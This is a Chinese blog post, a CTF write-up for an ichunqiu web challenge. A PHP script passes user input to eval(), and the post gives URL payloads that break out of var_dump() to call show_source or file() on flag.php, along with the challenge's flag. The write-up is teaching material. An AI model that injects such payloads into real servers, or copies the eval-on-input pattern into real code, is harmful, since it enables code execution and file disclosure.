ichunqiu Misc Web 爆破2

原创

Garybr0 于 2021-01-10 11:50:32 发布 34 收藏

分类专栏： CTF writeup 文件包含 文章标签： writeup ichunqiu

本文链接：https://blog.csdn.net/weixin_45253216/article/details/112425807

CTF writeup 同时被 2 个专栏收录

16 篇文章 0 订阅

订阅专栏

文件包含

3 篇文章 0 订阅

订阅专栏

承接爆破1。

爆破1中说到，flag在变量里，本题说flag不在变量里，所以考虑文件包含。

文件包含漏洞利用，有几个常用函数，下面一一介绍。

PHP显示函数有两个，show_source 和 highlight_file，这两个可以将PHP代码打印到网页上。

所以第一个思路：把前面的var_dump()闭合，然后显示出flag.php文件。

payload：?hello=);show_source(%27flag.php%27);var_dump(

```
<?php
$flag = 'Too Young Too Simple';
#flag{4cedcbd0-7751-4717-aa62-eb0462eb322e};
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
```


执行的代码是：

```
eval("var_dump();show_source('flag.php');var_dump();");
```

写第二个var_dump是为了闭合后面的

);")

第二个思路是，通过文件显示函数直接把flag.php的内容输出。

payload:?hello=file(%27flag.php%27)
%27 是对 ‘ 进行了URL编码。

PHP file() 函数

PHP Filesystem 函数

定义和用法

file() 函数把整个文件读入一个数组中。

与 file_get_contents() 类似，不同的是 file() 将文件作为一个数组返回。数组中的每个单元都是文件中相应的一行，包括换行符在内。

如果失败，则返回 false。

语法

```
file(path,include_path,context)
```

这里把单引号换为双引号，就bool（false）了
~~emmmm 去问问老师傅怎么回事。~~
输入的时候，跟单双引号没有关系，主要要对单双引号进行URL编码。

PHP file_get_contents() 函数

PHP Filesystem 函数

定义和用法

file_get_contents() 函数把整个文件读入一个字符串中。

和 file() 一样，不同的是 file_get_contents() 把文件读入一个字符串。

file_get_contents() 函数是用于将文件的内容读入到一个字符串中的首选方法。如果操作系统支持，还会使用内存映射技术来增强性能。

语法

```
file_get_contents(path,include_path,context,start,max_length)
```


file()把文件读入一个数组。
file_get_contents()把文件读入一个字符串。

用file_get_contents()返回一个string(83)，得不到flag，可能字符串的格式不能显示出来？